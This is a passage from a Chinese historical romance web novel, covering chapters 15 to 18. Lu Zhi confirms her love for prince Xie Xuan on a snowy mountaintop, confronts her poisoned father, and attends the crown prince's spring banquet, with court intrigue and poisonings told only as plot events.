仵作验尸没有验出什么,便说了个合理的结论:老太太连日都做噩梦,导致分不清虚幻和现实,这才错手杀死了自己的儿子,连女儿也差点没命。
秦家这一代没了儿子,族中长老商量后决定让秦念钰继承家主之位。
陆枝听到以后只觉她这个二姨够狠,连自己也能搭进去。
不过结果不坏,她也算得偿所愿。
待秦府之事尘埃落定后,秋也快接近尾声。
秦念钰约陆枝见面,约在一家茶楼,包了一间雅间。
为了以防万一,陆枝还是遮住了面容赴约,她到时,秦念钰已坐在窗边喝着茶。
陆枝摘下斗笠,款款入座:“二姨。”
秦念钰放下茶杯:“枝儿来啦。”
两人忽得没了下文,陆枝要笑不笑地看着秦念钰也不主动挑起话头。
秦念钰沉默了会儿开了口:“秦家的事你都听说了吧。”
陆枝:“嗯,恭喜二姨得偿所愿。”
秦念钰:“那解药……”
陆枝眼底闪过一丝狡黠的笑意,爽快地把解药给了秦念钰:“二姨重伤初愈,还是要多注意身体。”
秦念钰眼皮一跳,以为陆枝又要使什么坏,却见她只是悠闲地喝茶,这句话似乎并无特别的深意。
她却按捺不住开口问道:“枝儿对秦家之事可有什么想说的?”
陆枝放下茶杯,失笑道:“二姨如今已是秦家家主,秦家之事为何要来问我?”
秦念钰:“二姨只是想问问枝儿有何需要二姨为枝儿做的。”
她的把柄在陆枝手里,而她手上却没有陆枝的,这总叫她很不安心。
陆枝:“没有。不过——”
她话音一转:“我听说秦建有个三岁的孩子。”
秦念钰:“是,算是老来得子,疼爱得很。”
陆枝看着秦念钰:“稚子无辜,二姨可留一线。今日我要说的只有这个。好了,茶也喝了,日后咱们就不用再见了吧。”和秦家人见面尽没好事。
说完,她起身离开。
秦念钰出声道:“如今我继承家主之位,那三成家产仍然遵从先父遗愿分给长姐之女,还望枝儿此次莫再推辞。”
这是想要拿钱堵她的口了。
可惜秦家的东西,她不想沾。
陆枝转过身,已然没了笑意:“二姨信不过我为何又要找上我?这三成家产我当初给了二姨便是二姨的,若二姨担心我揭露二姨,那便好好对待秦建的儿子,将他抚养长大,教他明理做人。”
“嗯……”她思忖了片刻道:“二姨可以这么理解,只要秦建的儿子好好的,二姨的家主之位就会坐得稳当。”
这人呐,真是贱的,非要给她搞点牵制才肯安心。
这疑心病太重也不好啊,想得多,念头不容易通达。
看秦念钰那满头郁郁的样子,就知道心事太重,容易身体虚。
她给她的药算是帮一帮她。
但是也就给这两份,多了没有。
凉意转寒。
雪落了。
15. 冬雪
雪在夜里便下大了,次日世间已积了厚厚一层,陆枝庆幸:“好在冬衣在雪落之前都赶制了出来。”
她看着纷纷扬扬的雪花坠落世间,心想道:“下雪了,谢玄在做什么?”
今夜的雪仍在下,各家各户闭门不出,路上已无行人。
四周寂静,只闻得沙沙覆雪声。
各家各户透出来的暖黄烛光,将积雪映得像铺了一层碎金。
陆枝坐在窗边,点着红泥火炉烫一壶绿蚁,火势正旺,酒壶里的酒渐渐滚烫,冒出成片成片的水汽,酒香溢了出来。
“若娘,酒烫好了。马车可备好了?”
若娘跑进来:“备好了,小姐,今夜雪还下着,您当真要出门吗?”
陆枝看向窗外漫天飞雪,海棠也覆着一层雪衣,她温柔地笑笑:“嗯,要出,我此刻有想见的人。”
若娘拿了绒毛披风给陆枝披上,撑开伞,送陆枝上了马车。
“小姐,我们未曾事先知会,若二殿下今夜不在府上怎么办?”
陆枝:“那就是我来的不巧,咱们回去便是。”
她就想碰个巧,如果谢玄在,那就是正正好,如果谢玄不在,也没什么好失望的。
马车往策王府行进,酒壶散发的热意将她的手指熏得暖暖的。
若娘叩响了府门,来应门的是位小厮。
陆枝:“这位小哥,请问二殿下可在府上?若是在,劳烦小哥通报一声,陆枝求见。”
小厮顿时打起精神:“原是陆小姐,快请进,殿下特地交代过,若是陆小姐上门,直接将小姐请入府中。小姐来得可巧,殿下看着正要出门,还没走,我这就去通报殿下。”
他一路小跑着离开。
正要出门?难道是打算来找她?如果真是,那还真算心有灵犀了。
陆枝笑了笑。
谢玄一听陆枝来了,也顾不得打伞了,穿过庭院时被雪沾了满身。
“何时来的?可是等了很久?”
陆枝看见谢玄唇边呼出的大片水汽,不禁哑然:“刚到,等得不久,今日想来见见你。”
说着,她伸手掸去谢玄肩上的雪。
谢玄拉着她坐下。
陆枝问道:“听小厮说,你正准备出门?”
谢玄:“嗯,正要去找你。”
陆枝心头一暖,还真是心有灵犀了。
她把酒壶提溜上来:“我烫了酒,想找你喝。这酒是我学着酿的,味道可能不会太好。”
谢玄接过,一摸,还是热的:“我想味道应该很好。”
陆枝:“多少有些抬举我了。”
谢玄正要倒酒,被陆枝制止。
她主动揽下这活:“殿下可以猜猜我酿的是什么酒。”
谢玄闻了闻漫出来的酒香:“可是绿蚁?”
陆枝点头:“嗯,正是。”
她拿起两杯,递了一杯给谢玄:“晚来天欲雪,能饮一杯无?”【注1】
谢玄接过:“有何不可。”
陆枝看他一饮而尽也一口干了:“我酒量不好,待会还要回去,今夜我就喝这一杯,这一壶就留给你啦。”
谢玄:“那我定然好生珍藏着。”
陆枝:“这酒酿出来就是给人喝的,可不是给人供着的,你尽管喝,如果觉得我手艺还行,喜欢喝,我还可以再酿。”反正方法她是学会了。
谢玄:“我喜欢。”
也不知说的是人还是酒。
陆枝一愣,脸上有点发烫。
谢玄:“其实今夜我也烫了酒。”
陆枝歪头:“不会也是绿蚁吧?”
谢玄一笑:“正是绿蚁。”
陆枝嘴角的笑很难压住:“那还真巧,可称得上是心有灵犀了。”
谢玄被心有灵犀一词撞得小鹿乱撞。
“过几日你可得闲?”
“过几日……”陆枝想了想:“应是有的。”没什么特别要做的事。
谢玄:“这雪还会落上几日,待雪停了,我想邀你去个地方。”
陆枝爽快地答应道:“嗯,行啊。”
回府途中,她想起去年冬天出门的情景,心道:“希望这一次不是爬山。”她可不想再被冻感冒。
出发前日,谢玄给陆枝提了个醒,要起早。
陆枝欣然接受。
在这已经习惯了早起,对她来说不是什么难事。
京城东郊有一片松林,雪覆松原,颇为壮观。
他们出发得很早,夜色还没有完全褪干净,谢玄做了很多准备,给陆枝拿了汤婆子塞进她手里,又给她披上厚斗篷,将兜帽给她戴起来。
东郊的山地势不高并不难爬,马车可直登山顶。
谢玄确认陆枝整个人都捂严实了,才让她下车。
山顶的风寒意明显,呼出的热气瞬间变成成团的雾气被寒风拍散。
陆枝站在山顶,想起之前自己祈祷的“但愿不是爬山”,自我开解道:“确实不是爬山,毕竟是马爬的,不是她爬的。”
一道光芒自天际缓缓升起,最后一丝夜色褪尽,整个世界于此刻醒来,温柔的金光一路铺开,经过她的脚下,向身后蔓延而去。
陆枝脸上唯一露在外面的眼睛不由得睁大了。
日出——
好漂亮啊。
她从来没有这么近距离地看过太阳升起,从来不知道原来看晨光驱散黑夜是这么一件令人激动和震撼的事。
陆枝眼眶一酸,细细碎碎的晶莹自眼底漫出。
谢玄的声音在寒风中有些忽远忽近:“你说你喜欢明媚的事物,今日所见可还喜欢?”
“喜欢,特别喜欢!”陆枝忍住要哭出来的冲动露出笑容:“谢玄,你看整片松林都——”亮了……
她转过头,猝不及防对上谢玄温柔的眸,那双眸子灿烂如晨光,停留在了她的身上,无限温柔又无限包容。
他正笑意轻柔地回她:“嗯。”
陆枝呼吸一滞,像是忽然溺了水,心脏不可控制地聒噪起来。
她想,她再也没有见过比这还要温柔的眼睛了。
山顶寒风猎猎,山下宁静祥和,整个世界烂漫,陈列在她身前。
而她此刻却只看得见谢玄。
寒风仿佛于这个瞬间倏然静止,世界异常安静,唯有心跳剧烈不休。
清晰可闻。
温热的触感在眼下轻轻拂开,陆枝才反应过来,忍了很久的眼泪不知道什么时候就流了出来,谢玄正在给她擦。
他的眼里浸着温和,关切道:“怎么哭了?可是被雪粒子迷了眼?”
陆枝紧咬着嘴唇,闭上眼睛深吸了一口气,看向谢玄,目色明朗而轻盈:“谢玄,我想我能给你答案了。”
反应过来陆枝说的答案是什么,谢玄忽得一阵紧张,屏息以待。
陆枝:“谢玄。”
她轻轻笑着:“日后山川千万里。与谁同坐。当是明月清风,你,我。”【注2】
你、我……
心脏于此瞬间狠狠跳动,热烈而鲜活。
谢玄缓缓靠近陆枝,微微弯下身,轻轻地抱住了她,声音中夹杂着难以述说的喜悦及一丝小心翼翼:“枝儿,我终于可以光明正大地这样做了。”
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陆枝深深地吸了一口气缓缓吐出,在他的肩头蹭了蹭。
她想,她这一生既然来到这,就是要走出自己的路的,活着如是,恋爱如是。
回去的路上,陆枝靠在谢玄的肩头没说话。
谢玄探了探她手的温度,已经暖和了:“在想什么?”
陆枝:“有一些……怎么说呢,杞人忧天?”
谢玄握住她的手:“在杞什么?能否说给我听听?”
陆枝声音轻缓:“拥有本是一件幸福的事,可如今也会让我觉得可怕,我曾拥有爹爹和娘亲,我以为我们能一直幸福下去,直到他们垂垂老矣,可我却在半道上失去了他们。”没来得及陪他们走完一生。
“谢玄,”她好看的眼睛里藏着浓重的悲伤,像夜色掩护下汹涌的海:“是不是终有一天,我也会失去你?”
人就是这样,得到了就会害怕失去,会陷入到自己是否能把握住这份得到的自我怀疑中。
她经历过一次刻骨铭心的失去,那样的痛苦太过猛烈,几乎能将人的整个心肺抽干。
谢玄明了陆枝的害怕。
他用脸颊蹭了蹭陆枝的额头,握紧了她的手,温声道:“不会,你永远都不会失去我。如果他日我们被死亡分开,那我就化作你院里的海棠,年年岁岁,无论欣荣枯朽,都陪着你。”
陆枝心里霎时间酸软一片。
她抽了抽鼻子,道:“来年开春海棠花开,你可是答应了要来陪我喝酒的。”
谢玄:“这个自然,从没忘过。”
陆枝:“哦,对了,这回从大门进来。”
多次翻墙的谢玄一咳:“好。”
陆枝回到陆府后,心情颇佳,哼着小曲做饭。
方秋菱看见她忙来忙去,进来帮忙:“想不到枝儿还会做饭。”
陆枝:“害,在怙州时得自力更生,做饭一道,自己摸索良久,加之爹娘从旁指导,便会了。”
“方姨,那葱递给我一下。”
方秋菱:“枝儿今日心情看着甚好。”
陆枝摇头晃脑了一下:“嗯,是不错。”
她暂时停下切菜的动作:“方姨,我要告诉你一件事。”
方秋菱看她神色认真,眉间喜悦之色明显,也停下了手中的活:“好,你说,我听着。”
“我与谢玄谈——”陆枝想了想,换了个词:“我与谢玄两心相悦,已确定了彼此的心意。”
方秋菱欣喜:“当真?”
陆枝点头:“保真。”
方秋菱:“听闻枝儿和二皇子的娘亲是故交,那枝儿与二皇子也算是青梅竹马了,如今相知相守,是件天大的好事。”
青梅竹马?
陆枝想了想,要是她没被赶去怙州,说不定还真是和谢玄从青梅竹马开始。
不过现在这样也不坏。
就相信一切都是最好的安排吧。
方秋菱把陆枝推出厨房:“今日既知有了这等好事,那这吃的便由我来做,我做些家乡菜给你尝尝,也正好庆祝一番。”
陆枝看她坚持,便不再推让:“那今日便劳方姨下厨了。”
她将手洗尽:“我去看看小博和小童的功课做的如何了。”
方秋菱拿起菜刀继续切起陆枝没切完的部分,冲她抬了抬下巴:“去吧。”
陆枝才走出厨房,门外就响起了急促的敲门声。
若娘正要跑去开门,她已经先一步到了门前。
敲门的丫鬟神色匆匆,见了陆枝急急忙忙地行了一礼:“大小姐,老爷好好的突然倒下了,已经叫了大夫,三夫人让我赶紧喊您也过去看看。”
16. 前路
陆文德也不是完全地昏了过去,只是瘫在床上咿咿呀呀地叫唤着。
他看见陆枝整个人往里一缩,指着陆枝惊恐道:“谁让你们叫她来的?快赶走,快!”
陆枝翻了个白眼,双手抱胸倚在门边:“行了,乖乖就诊,我不过去。”
大夫诊脉了大惊道:“相爷这是中毒了呀!这毒还十分厉害!待侵入心脏后,整个人便废了,动弹不得,吃不下东西,直至饿死。”
颜元香:“啊?大夫,可有解毒的法子?快救救我家老爷。”
大夫:“我只能先开个缓解毒发的方子,具体的解毒法子需得好好研究。”
陆枝秀眉一拧,很快想明白了毒从何处来。
颜元香和杜文心还以为是陆枝下的毒,转过头默默地看向陆枝。
陆枝冷声道:“行了,都先出去,该拿药的去拿药,我有话跟他说。”
等众人离开,她走到陆文德床边居高临下地睨着他。
陆文德惊恐地往里躲:“你、你想干什么!”
陆枝神情冷漠道:“行了,别装了,我下的毒你不是解了吗?这毒从哪里来的你还没数吗?”
陆文德顷刻间被点醒:“太、太子殿下,他为什么要这么做,我明明已经答应帮他——”
他意识到什么,瞬间住口。
陆枝勾起冷笑:“帮他什么?帮他得到我?虽然我不知道他为什么对我有这样的执念,但是我是真的很讨厌你们两个把我当物件一样交易来交易去。”
说着,她坐到床边,抓过陆文德手探起他的脉搏来,眉头渐渐紧锁:“这毒下得巧妙,是人自制的,解法跟方才那位大夫说的一样,可以延缓,解法需要时间研究,等着吧,暂时死不了。”
陆文德的声音细如蚊子,像做错事的孩子:“那名医是太子殿下寻来的,或许殿下会知道其行踪。”
陆枝不知道陆文德是不是被毒傻了,没好气道:“他让人给你下了毒,这人还走得出东宫吗?他得势后对你爱答不理就说明,你对他已经没用了,你还非要眼巴巴地贴上去,现在好了,命都要搭进去了。”
陆文德顿时心凉如水:“枝、枝儿,为父错了,救救为父,为父日后都听你的,这陆府交给你管,你想做什么都可以,为父绝不多问。”
陆枝冷笑更甚,道:“你死了,陆府不也是我的了吗?只要杀了颜元香和杜文心,就没人知道我给你下毒这事了,你的死栽赃不到我头上。”
“只要我找到那名医的尸体,到时候就是你病急乱投医,被庸医害死了,庸医畏罪自杀。你看,你对我也什么用。”
陆文德发抖:“……枝儿,为父错了,为父再也不敢了,你救救为父,看在你娘——”
他不敢提秦念慈,怕又被打一顿,这种情况下再挨一顿,怕是要死。
陆枝看着他,眼神阴冷:“这些日子我会和大夫一起找解毒的法子,你就好好在府里待着。陆文德,我一向只给人一次机会,唯独给了你两回,上回是娘亲的,这回是我的。此次过后,你再作死,我定会让你……”
她俯身凑到陆文德耳旁低语:“和陆绫一样,死得神不知鬼不觉。”
陆文德瞳孔颤抖,说不出话来。
陆枝走出陆文德的房间,脸色阴沉。
谢瓒此人……果然是心机深沉,很讨人厌。
她没看错。
听闻相辅身体抱恙,谢瓒登门探望。
陆枝和大夫在药铺里寻找药方,归府后听闻谢瓒来过立刻跑去看陆文德,陆文德已能下床,正在院子里活动筋骨,再不见病态。
“看来你还是选了太子那边。”她自言自语,嗤笑一声转身离去,感觉自己像个笑话,居然想要救这么一个利益至上的人渣。
她竟还幻想过这人渣会改过自新做一个正常的父亲,对那几个孩子尽应有的责任,她真是——
太天真了。
这次过后,他们之间那点靠着秦念慈连结起来的微不足道的情分便是彻底断了。
夜里还飘着细雪。
陆枝站在海棠树下仰头望着漫天的细雪落下来,雪粒子落进她的眼睛,她眨了眨眼睛,把冰水挤出眼睛外,像是流了两行泪。
她深吸了很长一口气,再睁眼时,眼神一凛,闪身回了房间拿上佩剑,飞檐踏瓦,宛若飘雪般消失在夜色里。
策王府的灯火正亮着,陆枝凭着记忆找到了谢玄的书房。
谢玄此刻正在房内提笔写着什么,听见声响转过头往窗外一看,陆枝正静静地站在积了雪的树下。
她沾了风雪,眼神平静,满身寂寥。
谢玄的心脏忽地抽疼。
他拿起披风跑到陆枝面前撑开在她的头顶,替她挡去簌簌风雪。
陆枝缓慢地抬眸,捧起手中的剑:“谢玄,我一直没给它取名字,你帮我给它取个名字吧。”
谢玄腾出一只手摸了摸冰冷刺骨的剑鞘:“你喜欢明媚之物,便叫昭明吧。”
陆枝微微一笑:“好,就叫昭明。”
她抱住谢玄,越抱越紧:“谢玄,我想你了。”
明明是让令他心动喜悦的话,此刻听着,却是这么让他心疼、以及心慌。
好似今夜她来,是来同他告别的。
“先进屋。”谢玄把陆枝带进房内,给她暖手。
“来人。”
小厮急急忙忙跑来:“殿下。”
谢玄:“去烧碗姜汤来。”
小厮应下。
谢玄把陆枝的手捧在手里,一边哈气一边搓热,等确认回暖了才问道:“枝儿,发生什么事了,可以跟我说说吗?”
陆枝低下头,抵在了谢玄的肩膀上,克制着身体微弱的颤抖:“谢玄,在你眼里,我是怎样的人?”
谢玄轻轻地拍着她的背:“心软,善良,对身边的人都好。”
陆枝笑了笑,声音很轻地说道:“也许你看错我了。”
谢玄:“你今日来是想说,其实你心狠手辣,冷血无情?”
陆枝抬起头,略显诧异:“你……”
谢玄看着她的眼睛,目光专注:“枝儿,我喜欢你,无论是怎样的你,我都全盘接受。”
陆枝:“哪怕——”
谢玄目色坚定:“哪怕一切!”
这一刻,陆枝终于确定谢玄是知道她做了什么。
她杀陆绫、下毒为秦念钰铺路,所有上不得台面的事情,他都知道。
谢玄把陆枝轻轻拥入怀中:“枝儿,我也会害怕失去,害怕失去你,别离开我,好吗?”
窗外下起了淅沥小雨。
陆枝轻声的哽咽和进雨声里:“嗯。”
她可真傻,竟不相信手里捧着的是一颗真心。
陆枝闷在谢玄的怀里,声音听着也闷闷的:“谢玄,也许有一天,你也会和我一样,面临手足相残的境地,要分出个你死我活。”
谢玄很是平静:“我知道,自幼时起我便知道,皇家能得善终者没有几人。”
他一下一下地抚摸着陆枝的头发:“枝儿,若有一天,我要走一条不归路,你可会陪我走?”
问完,他紧张起来,体会到了陆枝是以怎样的心情问
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出“在你眼里,我是怎样的人”。
陆枝很明白谢玄所说的不归路是什么。
她抱紧谢玄,又往他的怀里蹭了蹭:“谢玄,你也可以相信我,我有勇气陪你走任何一条路。”
或许只有这条路,才会是活路。
还未出冬,谢瓒陆陆续续地往京城各大家族送请帖,他要在立春当日办一场春宴,邀请各家公子小姐入宴。
韩锦未达成做太子妃的目的还未离开大栾。
陆枝看见请帖心情不好,打算写信回绝。
寒意尚存,屋内还烧着炭火,炉中炭火灭了些,方秋菱轻轻一拨弄,又亮了起来,发出热意。
“枝儿近来看起来有心事。”
陆枝一愣:“这么明显?”
方秋菱:“眉常拧着,话也少了。”
陆枝想了想,似乎还真是这样:“是有一些。”
方秋菱:“枝儿可是在担心什么?”
陆枝将手靠近炉火,热意灼得她的手心有些疼,她看着烧得通红的炉火,过了一会儿说道:“方姨,我想走一条路,一条看不见终点、甚至连脚下都看不清的路,也许前面等待着我的就是比这还要灼热千百倍的烈火,我会被烧得尸骨无存。”
她看着方秋菱,脸上没有任何玩笑之色:“但哪怕会被挫骨扬灰,我还是要走这条路。”
她不知道她的未来是怎样的,但她希望是平静的、幸福的,可她也明白了,入了京城,这样的未来不会随着时间款款到来。
既然如此,她就自己把所有阻碍扫清。
方秋菱听得心惊。
陆枝应是要去做什么不得了的大事,这件事很危险,甚至会丢掉性命。
“枝儿,你曾说怙州是个好地方,我和小博陪你回怙州吧。”她不希望陆枝去犯险,想要劝一劝。
陆枝只回了一个清浅的微笑。
陈清雅是陆文德的第三房,如今掌管着陆府内的大小事务,她膝下有二子,似是个不争不抢的人,从未做过什么和陆枝有过冲突。
除去家宴,私下时候从未主动找过陆枝。
今日却破了例。
陆枝将陈清雅请进院子,行了个礼:“三姨娘。”
陈清雅扶起陆枝:“嫡女请起。”她浅浅地抿了一口茶,轻轻地放下:“今日我来是有一件事要办,老爷给陆博娘亲下了位分,也分了一个新院给他们娘俩住,今日我便是来接他们走的。”
陆枝静静地听完,答道:“好,有劳三姨娘跑这一趟。”
“若娘,替方姨和小博收拾东西。”
陆博舍不得走:“长姐,你是不是觉得我烦了?日后我一定不吵不闹。”
陆枝摸着他的头道:“长姐怎么会嫌小博烦呢,小博在这,长姐这院里都热闹不少,如今你们得了新院,便要进去住住呀,不然多可惜。再说,咱们都在同一个府里,若是想见长姐了,直接来找长姐便是,小博来,不用敲门。”
陈清雅把人接走了。
若娘看着忽然空了的院子道:“小姐,我有些舍不得小公子。”
陆枝轻轻叹了口气:“我也舍不得。但他们不在我身边才是好的。”
若娘没听明白这句话。
明明小公子他们待在她的身边才变好起来的。
陆枝没想解释。
陆文德要她身边无人,要她孤身一人,这也遂了她的意。
日后她若遭祸患,也不会连累到他们。
陆博搬走的次日,陆枝听到消息,陆博也收到了东宫送来的请帖,她写回绝帖的笔停了下来。
17. 醋意
笔尖停在纸上,墨水晕穿信纸,陆枝看渐渐往外扩散的墨迹,没来由地觉得一阵窒息。
她把这张拿下,揉皱了扔进火炉里,又另写了两封信,一封送往策王府,一封送往怙州。
外头的天色阴沉,临近立春,寒意减弱了许多,她望着快要下雨的天,总觉得京城这张蛛网将她缠得越来越深,就快要织成一个茧。
一旦成茧,那就只能等着被宰割,她得抓紧安排一些事情了。
当夜,下起了如丝细雨,夜里一片雾蒙蒙的。
陆枝推开窗,被凉丝丝的潮意扑了满面,她抹了抹脸,倚在窗边耐心地等。
谢玄来了,一袭黑衣落在她面前,她眉眼舒展开朝谢玄伸出手,谢玄牵住,自嘲道:“这回也没走上大门。”
陆枝拿上毛巾给谢玄把头发擦干:“将桌上姜汤喝了,别着凉。”
谢玄拿起碗,还是热的,一饮而尽:“今日着急唤我来,可是、咳咳、可是想我了?”
问完,他反而自己不好意思地转过了头。
陆枝咬住唇笑意显了起来,微微踮起脚尖抱住他:“嗯,我想你了。除了这件事,还有一件事要同你说。”
谢玄抱紧陆枝,贪恋般地用下巴在她的肩窝蹭了蹭:“好,坐下来说。”
陆枝将谢瓒此前同她表明心迹的事告诉了谢玄:“很没有道理,我与他可谓是素不相识,他为何会喜欢上我?在京城是不是发生过什么事?有关我的?”
“除了州长伯伯的那封陈情信。”
谢玄听得心里泛酸,却要忍下去,认真地回答起来:“你可还记得你写过的一本治州策论?”
陆枝皱起眉头回忆起来,片刻后:“那本策论?记得。”
在怙州渐渐有起色后,她凭着记忆里看过的书再结合怙州的实际写了一本治州策论,她那时候只是凭着看来的理论写的,很多想法都很幼稚,对于怙州来说,能用上但没有全部用上。
谢玄:“你可还记得里头的一句‘治世不一道,便国不法古’?”【注1】
陆枝喃喃:“治世不一道,便国不法古么……记起来了,此句怎么了?”
谢玄:“若我所解不错,此意应当是治国并非只有一条道路,只要有利于国,便不一定非要拘泥于古法旧制?”
陆枝点头:“全然正确。”
谢玄不深不浅地吸了一口气:“当初我在怙州读到此句时便被你之才能所惊艳。谢瓒他、也看到了,日后他若登基大统,需要的便是你这样能够辅佐她的女子做皇后。”
陆枝终于恍然大悟:“原是如此。”
她苦笑道:“只是这并非是我之才,是先人的智慧,只不过被我搬来用了。”
谢玄似乎没有听明白。
陆枝明白这里和她原先所处的世界不在同一个时空中,历史轨迹自然也就不一样。
她道:“这个日后同你细说。”
“立春那日……”她有些担忧道:“我该如何应对?小博也收到了请帖,我不得不去。”
就当她自作多情吧,也许谢瓒不一定会做什么,但是有准备总比没准备好。
谢玄:“当日韩锦也会参加,顾着一国公主的情面,谢瓒应不会做什么太过逾矩之事。”
对啊,韩锦也在,可以用她做做文章。
陆枝灵光一闪:“我有主意了!”
谢玄挑眉:“要如何做?”
陆枝:“韩锦一心要追太子,当日应会早到,那我也早去,最好在开宴前让她对我做些什么,我便可以借机带小博离开了。”
谢玄急忙制止:“不可!”
陆枝一愣,看着谢玄担忧的眉眼,心想道:“她一时间嘴快,不应该在他面前说的,白惹他担心。”
“嗯……我……”她在脑子编借口,但见谢玄看着她,眼神一措不措,顿时宣告投降:“好吧,我不去主动招惹韩锦了。”
谢玄站了起来,俯身凑到陆枝眼前,目光清澈:“一切有我。”
陆枝点头:“嗯嗯。”对啊。她有可以依靠的人了啊,这次找谢玄来不就是来找他商量的么。
春宴当日,陆枝没有刻意早到。
她带着陆博进了宴席场地,不知道是哪家的小姐出声尖酸刻薄道:“哟,这是哪家的小姐,受邀来参加太子殿下举办的春宴,竟还拖家带口地来,真是一股子市井人家的小家子气。”
陆枝无语,懒得理她。
陆博却不乐意了,他走到那家小姐面前,拿出请帖郑重其事道:“这位姐姐,我与长姐同受了邀请,这是太子殿下给我的请帖,我并非是长姐故意带来蹭席的,这位姐姐方才说的话并不中听,还望姐姐同我家长姐道个歉。”
孙新柔顿觉面上无光,她打掉陆博手中的请帖,驱赶道:“小孩子家家,赶紧走开。”
她摆手的动作没轻没重,细长的指甲划伤了陆博的手背。
陆枝面色徒然变冷:“这位小姐,还请向陆博道歉。”
孙新柔感觉今天犯了太岁,怎么一个两个的都要她道歉,她堂堂侍郎千金,背靠太后,千人宠万人拥的,怎需得向一个身份存疑的嫡女道歉?
“我偏不!你能拿我怎样?”
陆枝的眼神变得犀利,面容冷意横生,片刻后又恢复了温和无害的模样:“自然不能怎样。小博,我们走。”
孙新柔乍一瞬间觉得害怕,看陆枝什么都没说走了,心道:“原来是个空有脾气的花架子。”
陆枝找了谢瓒府里的下人拿药给陆博上药:“小博,方才长姐没替你出气,你可会怪长姐?”
陆博摇头:“不会。方才那位姐姐看着便跋扈,长姐莫要招惹她。”
陆枝涂好药给他吹了吹:“你啊,跟个小大人似的,学着陆洪陆丰那样多闹腾些。”
“年纪小小的便这般老成,当心交不到朋友。”
陆博一本正经道:“先生言‘君子洁其身而同焉者合矣,善其言而类焉者应矣’。”【注2】
“我一言一行自是要端正,便自会吸引同道中人到来,何愁会没有朋友。”
陆枝:“……”行,说不过他。
两人再出去时,院子里已聚集了不少人。
曲水流觞,丝竹阵阵,陆枝跟着侍女指引入座。
陆博坐在她的旁边,小孩一入座,拂袖摆袍,挺直腰背,坐得十分端正,且神情肃穆,活像一尊雕得笔直的雕像。
陆枝哭笑不得。
皇子们也陆陆续续地入场了,谢玄坐在了她的对面,待谢玄一坐定,她冲谢玄眨了眨眼睛。
谢玄的嘴角不可抑制地上扬起来。
谢瓒看在眼里,走近挡在了陆枝的面前,他微微俯身问道:“听闻你钟爱海棠,我这满院的海棠你可还喜欢?”
陆枝:“……”
这话听着多少有些暧昧了。
陆枝一时间感到有无数道视线投了过来,有艳羡的、好奇的、惊讶的、怨愤的……
她看不见谢玄此刻是个什么神情,只是她稍稍换位思考了一下,便知晓此刻谢玄心里应是不好受的。
因为她一想到有人当着她的面刻意接近谢玄,她心里就不好受!
陆枝扫了一眼满院的海棠,答道:“既是太子殿下种的花,太子殿下喜欢便已足够好了。”
谢瓒神色未变,直起了身,身后的目光似乎能将他的背烧穿,他恍若未觉:“看来你不喜欢,我这就让人砍了,莫扰了你的兴致。”
真是——<
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陆枝暗暗翻了个白眼。
好癫一男的……
除此之外,她一时半刻也想不出什么别的词来形容这位太子殿下了,她道:“既是太子殿下种的,太子殿下想怎么处理都好。”
他要癫就癫吧,反正是他自己种的树。
谢瓒脸上温柔的神情有了崩裂,恰逢全场鸦雀无声,一时间尴尬极了。
韩锦看不下去了:“太子殿下,佳时已至,可否开宴了?”
谢瓒顺着台阶而下,自行缝合好面上的裂缝,又露出那副温润和善的模样来:“多谢公主提醒,是该开宴了。”
他坐上主位。
舞姬们飘然入场。
陆枝透过舞姬曼妙的舞姿看向谢玄,看他眉目间神色晴朗,心道:“看来是她猜错了,他并没有不好受。”
思及此,她心里竟冒出一丝小小的失落。
歌舞结束,谢瓒不知是怎么想的,在上瓜果时竟让人给陆枝上了一盏特别大的。
提子颗颗饱满,晶莹透亮,看得出来是精挑细选过的。
陆枝抬眼看了眼谢瓒,他微微笑着做了个请的手势,好似对她此前的言行并不在意。
她视线微微移了移,就对上了韩锦那似乎要吃人的眼神。
这一个两个的……
陆枝默默叹了口气。
都有病。
她算是看明白了,谢瓒这是在用她做挡箭牌拒绝韩锦呢。
要说这凰国吧,虽然依附着大栾,可近年来休养生息,似乎渐渐有了些别的心思。
谢瓒要是不想一坐上那个位子就起战乱,此时该好好安抚韩锦才是。
不过转念一想,也是,这韩锦在凰国的地位较为尴尬,手中无权无势,确实没什么好在意的。
其上有大公主手握权柄,下有小公主深受宠爱,唯独她这个二公主,居在中间不上不下的,什么都没有。
此次入大栾朝贡也是她主动请缨,大抵是想博一条出路吧。
只是陆枝很不理解,她要找的出路就只有嫁给太子这一条?
那道怨愤的目光还停留在身上,陆枝心道:“看来是的,韩锦只想要嫁给太子。”
怎么说呢,这很难评,祝她成功吧。
陆枝看面前的提子实在色泽诱人,没忍住捏了一颗送进嘴里。
人的心思弯弯绕绕,可吃的总没有罪。
她擦了擦手抬眸,对上谢玄落寞的眼神,心里咯噔一下,心道:“完蛋。”
谢瓒:“听闻陆——”
他话音突然中断,脸色忽然变得不好,紧紧捂着肚子。
没一会儿,他艰难地站了起来,仿佛忍着巨大的痛苦说了一句“各位随意”便匆匆离去,留下众人面面相觑。
谢玄起身朝陆枝走过来,伸出手道:“走吧。”
陆枝:“嗯。小博,走,回家。”
谢玄让陆博上了自己的马车,他和陆枝共乘。
马车摇摇晃晃,他坐在陆枝对面闭目不语。
陆枝:“可是你给他下的泻药?”
谢玄:“嗯。”
他睁开眼睛突兀地问道:“那提子味道可好?”
陆枝:“果肉饱满,入口生甜,还不错,下回我去买些给你尝尝。”
谢玄刚睁开的眼睛又闭上了。
陆枝:“?”
想起方才谢玄的眼神,她心里有了个猜测,于是站起来慢慢凑到谢玄的面前,试探地问道:“谢玄,你是不是吃醋了?”
谢玄被戳破,立马睁开眼睛想要嘴硬辩解:“没——”
瞳孔却蓦地一缩。
陆枝的唇覆在他的唇上,轻轻落了一个吻:“那提子当真很甜,先如此让你尝尝。”
18.疯子
陆枝缓缓退开,看见谢玄眼神征然,后知后觉地害羞起来,她赶紧坐了回去,用手扇着风:“哈,今日真热哈,明明才刚立春,寒意未散尽,怎么这么热,谢玄,你说是吧。”
谢玄未语,似乎还未从刚才的错愕中回过神来。
前世陆枝躺在病床上时,躺在她隔壁床的姐姐不知道因为什么生起了气,就跟此刻眼前的谢玄一样,那位姐姐的男朋友俯下身亲了亲她,她就被哄好了。
陆枝也想效仿一下。
明明挺有用的一办法,怎么到她这里就把人整沉默了,还把自己也弄得很尴尬。
陆枝把头扭向一边,手上动作不停,脚趾头一下一下地蜷缩着。
谢玄突然出了声:“陆枝。”
“嗯?”她转过头,面前突然出现一张放大的俊脸,熟悉的气息铺天盖地地笼罩住她,她不禁往后缩了缩,碰到车壁,退无可退。
“谢玄,你……”想做什么……
